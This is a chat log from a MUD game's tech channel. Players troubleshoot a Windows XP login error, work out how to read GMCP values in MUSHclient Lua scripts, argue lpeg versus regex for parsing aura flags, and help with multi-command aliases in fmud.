T3/r7/2013-01-17.txt.gz:{chan ch=tech}Zetkax Tech: for me it would be "Zetkax"
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Zetkax Tech: thanks etzli, ill try to figure out how to access that from lua
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: call the gmcp handler, then you'd just reference it as a variable.
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Book of Etzli Tech: Go through the health plugins and learn how to access the gmcp handler, if you need to.
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Mushambo Tech: What might cause my Windows XP to all of a sudden want to re-authorize? I'm getting a weird error upon login and then it keeps restarting, giving error, etc. ... Havent changed any hardware
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Aqiz Tech: what does the weird error say?
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Mushambo Tech: Well googling now (on my mac) ... Lsass.exe status code 0 under NT Authority\System error
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Aliens Tech: corrupt filesystem
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: how long has it been since you installed xp on there? and how long has it been since you checked the hard drive thoroughly.
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Mushambo Tech: Had XP for about 3 years on it...think I reauthorized it about 8 months ago when I got a new video card...I use Diskeeper so I haven't done a full check in about that time
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Aliens Tech: just run chkdsk c: /f, and reboot... it's a no brainer and fixes 70% of random problems
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Mushambo Tech: Noticed it slowing down swignifcantly a few days ago
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: either you have a virus, or you have bad sectors.
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: just my hunch
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Aliens Tech: filesystem corruption isnt always caused by bad sectors
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Aliens Tech: esp on laptops
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: running a good virus scan and a disk check would be a good start, as those are two likely causes
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Mushambo Tech: It's a desktop ... can't even get into desktop, so guess I'll have to do safe mode
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Aqiz Tech: malwrebytes
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Aqiz Tech: malwarebytes*
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Aqiz Tech: that or go right to combofix, but dont do that yet
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Aqiz Tech: please
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Tech: Book of Etzli snickers softly.
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Aliens Tech: safe mode, command prompt only
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: beyond that, it could be mobo/processor/ram going bad, but that's a later set of steps
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: start with the simpler and more likely causes for now
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Mushambo Tech: Trying last known good configuration..(fingers xxxed)
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: that hardly ever works
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Zetkax Tech: getting error message "C:\MUSHclient\lua\gmcphelper.lua:18: nil parent passed to get_gmcp" I call  gmcpval("char.base.name") - any help please?
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Zetkax Tech: *after I call*
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Aliens Tech: did you try restart ?
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Zetkax Tech: restart the gmcp thing?
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Aliens Tech: oh wait
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Aliens Tech: char.base.name  without quotes ?
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Zetkax Tech: [string "Script file"]:3: attempt to index global 'char' (a nil value)
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Zetkax Tech: examples use quotes, prior to the gmcpval() call I also call require "gmcphelper"
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Aliens Tech: have you read http://www.aardwolf.com/wiki/index.php/Clients/MushclientGMCP
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Zetkax Tech: aliens, i have read that page - im doing something similar to the example local maxhp = gmcpval("maxstats.maxhp") but instead of doing that in a plugin im doing that call in a script
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: aren't script / plugins virtually identical? at least command wise?
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Zetkax Tech: im getting the impression that GMCP_handler.xml (which is running) may be caching the gmcp data in some LUA variables .. looking
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Aliens Tech: well  \\\require "gmcphelper";gmcpval("exits.n")     doesn't work
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: If you have mushclient you should open the plugin for the stats window
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: that will have the variables for the HP
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: aard mushclient i mean
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: or the health bars, im gunna check it out
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: local defaultShowBar = {Health={"Health:",true,"Health:",0x00ff00,0x004400}, Mana={"Mana  :",true,"Mana:",0xff5500,0x442200}, Moves={"Moves :",true,"Moves:",0x00ffff,0x004444}, TNL={"TNL   :",true,"TNL:",0xffffff,0x444444}, Enemy={"Enemy :",true,"Enemy:",0x0000ff,0x000044}, Align={"Align :",true, "Alignment:",0x0000ff,0x00ffff}}
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: try those hex values
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Aliens Tech: well, lua/gmcphelper.lua:18:   assert (parent, "nil parent passed to get_gmcp")
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: ooo i found some values
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: local tnl = gmcpval("status.tnl") or ""
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: DoNextSimpleBar("Health", gmcpval("vitals.hp") or "", gmcpval("maxstats.maxhp") or "")
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: hmm doesn't look like you can access the gmpc values from an alias/script
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Zetkax Tech: i replaced gmcpval("char.base.name") with CallPlugin("3e7dedbe37e44942dd46d264", "gmcpval", "char.base.name") - no error but wrong answer
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: Oh I see...
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: if you look at the aard_health_bars_gmcp.xml
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: line 567 - 
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: 467 - 498
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: it has the GMPC hadnler 
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: guess u need that 
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: I feel like you could edit some of those to set in game variables...
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: but that might bog down the client if it was setting UI variables every instant
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Zetkax Tech: the way i read that function is that it becomes aware of changes to char.base/char.vitals/etc. and then calls the plugin to get the actual values its interested in - i dont need to watch for changes, i just want to read the current value of char.base.name
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Haldrik Tech: yeah, no idea
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Zetkax Tech: i think that call plugin returns two values
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Zetkax Tech: yea got it - this works - 'res, mCharName = CallPlugin("3e7dedbe37e44942dd46d264", "gmcpval", "char.base.name")'
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Haldrik Tech: what does that call?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Haldrik Tech: or return?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Zetkax Tech: for you it would return "Haldrik"
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Haldrik Tech: Oh. nice
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Haldrik Tech: same for hp i assume?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Zetkax Tech: nod
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Zetkax Tech: not sure why gmcphelper does not work though
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Haldrik Tech: that gives it the short values?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Haldrik Tech: which command are you using to test it? print?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Haldrik Tech: yup there we go
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Haldrik Tech: Ah neat
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Haldrik Tech: print (char.vitals)
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Haldrik Tech: sends hp/mana/moves
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Haldrik Tech: vitals.hp does not work however
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: kinda handy:   \\\for k, v in pairs (GetPluginList()) do Note (v, " = ", GetPluginInfo(v, 1)) end
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Haldrik Tech: whats that do alien?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: list plugins
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Haldrik Tech: oh
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: \\\ means execute from commandline
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: try it
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Haldrik Tech: ahh very nice
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Anyone familiar with the Lenovo/IBM docks? Just curious if the models that say they fit the T61 - fit all T61s... even ones from several years ago. some of them say compatability T61 15.4" All.. but.. not sure how inclusive "all" really is
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: anyone suggest a good free web host ?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Good + free doesn't exist.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: least crap free web host ?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Have you looked in to google sites?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}GreenAcid Tech: in mushclient aliases is there a way I can make it wait for one second?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Zetkax Tech: does mush require a newline for it to match a trigger that matches that line?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: DoAfter (seconds, "mudcommand")
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: no
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: it's nice to use $ with regex tho
T3/r7/2013-01-18.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: learn lpeg, lots nicer than regex :)
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: ^Tech\: it's nice to use \$ with regex tho$
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Santher Tech: i can think of other things to do with $ :P
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: what supports lpeg, and why should I care?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: my thoughts exactly vak
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Santher Tech: that's "*snicker vakieh" in aard talk :P
T3/r7/2013-01-18.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: lpeg is supported by lua, so it works in MUSH. There is a mini-tutorial for it. Though ti doesn't do it justice
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Tech: Aliens smirks at Santher's saying.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: you create context free grammars with lpeg.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Ranrr Tech: everything supports regexp, so it's good to know
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: so lpeg is a niche parser in a niche language ?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Tech: Aliens snickers softly.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: no, you write parsers in lpeg.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: custom parsers using context free grammars
T3/r7/2013-01-18.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: http://www.gammon.com.au/scripts/doc.php?general=lua_lpeg
T3/r7/2013-01-18.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: there is an example of usage but I can't find it atm
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: Sounds very similar to arguments for Lisp :-P
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: Nobody in their right mind uses Lisp
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: http://www.inf.puc-rio.br/~roberto/lpeg/
T3/r7/2013-01-18.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: here is may parser for consider using lpeg: http://pastebin.com/NpCSbjfp
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: Your varname style is appalling...
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: g, c, Cc, Cf, Cg, Ct, P?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: they correspond to the lpeg function names. rather than typing lpeg.C , just map it to C
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: Then lpeg's varname style is appalling - either way, you don't name a variable Cc
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: Unless it's part of an email...
T3/r7/2013-01-18.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: besides, that was my first attempt :>
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: That said, the whole of what you have there could be 1 line of regex.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: well, you can send an e-mail to the Lua people, give them some pointers on style.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: They won't listen. And it costs them bigtime in industry - there is a reason Python is winning all the awards and being used in all the applications, where Lua is the Gamer's Language
T3/r7/2013-01-18.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: and you are right, I don't need a variable Cc, I just find it convenient to know the Cc stands for lpeg.Cc
T3/r7/2013-01-18.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: I probably could have come up with some poetic name for it :)
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: Mapping is fine - but for lpeg to name a variable or method Cc is just ridiculous
T3/r7/2013-01-18.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: even so, it works quite well.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: lpeg is not for the casual programmer, lua itself can handle that. If you want to write parsers, though, I'll back lpeg against anything you can come up with python. Not saying that it won't work in python, I am saying that you will do more work to get the same thing done.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: lpeg is not a competitor with python, it is a competitor with regex
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: And Lisp. It might beat Lisp, but that is of no real consequence
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: Context free just doesn't work in the real world of programming. All the academics rave over the Next Big Thing, industry takes one look and leaves it behind.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: that is true, though there is an lpeg.re already, which is a regex equivalent written in lpeg. My application for the consider is a good example, to get the auras extracted from the text of the consider is no easy task in regex. It's a breeze in lpeg.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: Who says it isn't easy in regex?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: it isn't easy. Just give me the regex  for (W) you would stump mob in to the ground - in an easy regex expression.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: notice the easy lpeg expression, so that's the base for comparison 
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Redryn Tech: ^(.+) you would stomp .+ into the ground.$
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Redryn Tech: that gets you the aura, easily
T3/r7/2013-01-18.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: good :) Now (Angry)(I)(H)(T)(W) d
T3/r7/2013-01-18.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: good :) Now (Angry)(I)(H)(T)(W) you would stump mob into the ground - using the same expression.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: and you want to extract the flags, too. ^(.+) would need reparsing.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Redryn Tech: i don't understand, you still get all the flags
T3/r7/2013-01-18.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: you get all the flags, but not the individual flags
T3/r7/2013-01-18.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: and what if you have long flags off? (Angry)(Invicible)(Hidden)(Translucent)(White Aura) you would stump mob into the ground
T3/r7/2013-01-18.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: it doesn't matter to me, flags, no flags, shortflags, no shortflags one parse line
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: (\(.\))?  Repeated as many times as there are possible flags will fill whether short or long flags
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: Then you would use (either|or) syntax to grab out each possible consider output
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Jhav Tech: Some 'short' flags aren't actually shortened
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Jhav Tech: E.g. angry.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: Wait, (\(.+\))?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: sounds good to me. you capture the flags in (\(.\))? and then re-parse it to extract the flags?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: No need to reparse. Capture group 1 through x will hold all the flags
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Jhav Tech: l
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Tech: Jhav winces slightly as Mokg pins V2 Order Of The Bots to his chest.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: which one has the invis flag tho ?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: Fill a lookup table or dictionary with the result, can check whether in the lookup or not
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: slow
T3/r7/2013-01-18.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: sounds heroic :) but this: lpeg.match(Ct(Cg(Cf(g, fold), "flags")), text) does it without need for knowing how many capture groups I have, the fold function returns a bit map of the flags, whatever they are. I suppose you could call that a capture group, but I didn't use any captures in this grammar :)
T3/r7/2013-01-18.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: or if you insist, all the Cx functions are captures :)
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Redryn Tech: that looks a lot more complicated
T3/r7/2013-01-18.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: it is a bit more complicated until you get the feel for it, the it just pours out the same way someone used to regex pours out regex.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: using it as regex is not what it was intended for but it works just as well for it. As I said, there is a lpeg.re that does work similar to regex. MUSH documents it with an example. I just can't seem to locate it now.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: here it is: http://www.gammon.com.au/forum/?id=8683
T3/r7/2013-01-18.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: is you've downloaded Lua 5.4.1 you have lpeg already.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Book of Etzli Tech: I wasn't aware Lua was already at 5.4.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Tech: Book of Etzli peers around himself intently.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: 5.1.4
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Zetkax Tech: if i get mush to use script 1.lua and i want to execute another lua script called 2.lua what command do i use? having problems with both require and dofile
T3/r7/2013-01-18.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: nbmsg
T3/r7/2013-01-18.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: you can repeat requires, the require function checks to see if the module you specified has been loaded already, and if so ignores the request. You can do ad many dofiles as you want, just as long as you do them before you call the code :)
T3/r7/2013-01-18.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: you can also use requires to load code, just have the file in the cpath, then require("functionname") in file functionname.lua
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Zetkax Tech: i have made my own subdirectory and its not working because it cant find the file - if the directory is x do i type requires "x/2.lua"?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Anyone familiar with the Lenovo/IBM docks? Just curious if the models that say they fit the T61 - fit all T61s... even ones from several years ago. some of them say compatability T61 15.4" All.. but.. not sure how inclusive "all" really is
T3/r7/2013-01-18.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: remember, that if you do a dofile lua must be able to find the file, if you are not sure that it will be able to, specify a full path name.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Zetkax Tech: thanks, ill try full path name for now
T3/r7/2013-01-18.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: put the path to the subdirectory in the cpath system variable
T3/r7/2013-01-18.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: LUA_PATH = ;;C:\Program Files (x86)\Lua\5.1\lua\?.luac;<pathname_to_your_directory>\?.lua
T3/r7/2013-01-18.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: that's an example, you can add more  stuff. Should add C:\Program Files (x86)\Lua\5.1\lua\?.lua, for instance
T3/r7/2013-01-18.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: not the cpath like I said, I was wrong.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Zetkax Tech: i got it to work by putting the full path in 1.lua - it reads 2.lua
T3/r7/2013-01-18.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: that's good, that will always work. The advantage of putting your subdirectory in the lua_path is that you just add scripts to it and you will always find it without even having to specify a path.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: if you have your subdirectory in the lua_path, you can also do a require(<module>) instead of a dofile
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Theres a particular wireless bridge I was looking at - the ENS200. It boasts 802.11N, with up to 150mbps. However it only has a 10/100 network port.. While I'm sure theres going to be a chunk of overhead lost in the wireless, it seems a bit odd to omit the gigabit ethernet port, no? 
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: 150Mbps is 75up 75 down, wired is still faster...and that's a low-end router these days for Wifi speed, so it's not surprising that it skimps on the gigabit port too
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: is it possible to alias multi commands in 1 alias?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Outdoor wireless bridge, Lac. 
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: can serve as a router/ap as well, but not its intended purpose
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: I guess that makes sense. 150mbps half duplex vs 100mbps full duplex, less losses for distance/signal strength/wireless overhead
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: and its wired port is sufficient to handle all the potential ap bandwidth, so they didn't bother with better
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: an N-300 or N-600 would likely have gigabit wired
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Nod. I guess was my misunderstanding. I was thinking of 150mbps as 150 mbps.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: yeah, 150 on wireless is split 50/50
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Guessing they're in quite a bit higher price bracket then the ENS200 though.. but i shall investigate
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: i read the help file but doesnt seem to be working which makes me wonder if its still possible
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Wait. Were those seperate products? or were you talking about different wireless speeds
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Chronic.. are you using mushclient? or similar mud client.. you have to escape the semicolons. in mush you use ;
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Chronic.. are you using mushclient? or similar mud client.. you have to escape the semicolons. in mush you use ;; instead of ;
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: so alias command1;;command2;;command3
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: i am using Fmud currently as it is not my pc
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: or rather alias <aliasname> command1;;command2;;command3
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: something with different wireless speeds, Daloran--probably a different product in this case
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Gotcha. Brain jammed in to neutral there.. I was thinking you meant N300 and N600 as product names
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Chronic.. I'd imagine the same will work. 
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: If not, it will be the same problem likely - but different character to escape it
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: ok cause it seemed to alias the first but run 2nd as a command itself
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: hmmm ok that didnt work
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: a semi colon is used to put multiple commands on one line in a lot of clients, chronic. So whats happening is it sees alias <name>;other stuff, and does the other stuff second, after first creating the alias
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: I'd see what you can find in a 300-speed router if budget is a concern--that won't be as easily bogged down if you get a laptop and an iPhone on it
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Might try... alias <aliasname> command1\;command2
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: yea just tried double semi and it just tried to do a empty command followed by the 2nd one i was wanting set up
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Hmm.. Maybe Lac. Not my money, so, no biggie. Have 2 houses that are 1 lot apart, was just trying to get a bridge between them some how. Short of convincing the homeowner next door to let us trench their yard, just need something to connect the two thats out door rated, and supports PoE.. which.. i think will be everything 
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: it IS alias test where;
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: double semis
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: hmm?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Lacri: in fmud? 
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: I don't know if ; is also the escape character in fmud, but it seems to not be
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: mudside
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: It's the client eating the semis though, lac
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: not sure the escape char in fmud is, though
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: im trying to set up one to run both cskills, it sets the first but actually runs the 2nd, added double semi also...set the first one, ran a blank command then ran the 2nd skill as a command
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: even added \ as dal mentioned, same thing
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: the solution is going to be some variation on changing that character... just need to figure out which the right one is
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Loading up fmud to check
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: also cant remember how to add semi to chat w/o it runnin command
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: ... I wonder if maybe theres not one? It seems rediculous.. but doesn't seem to be any of the standard ones
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Tech: Bluntman & Chronic \
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Tech: Bluntman & Chronic :\
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: dang, kinda need some of these alias' to take the strain off my hand
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Well, it's an issue with fmud, Chronic... if you use raw telnet or a different client, you can make the aliases, and then use them from within fmud..
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: you can do a lot of shortening up by using ingame aliases...
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Lac, the issue is he's trying to run 2 commands with 1 alias - and fmud keeps eating the semicolon
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: yea cant get telnet or java client up which is why im on fmud, and id use an actual client but cant use my own pc for the time being
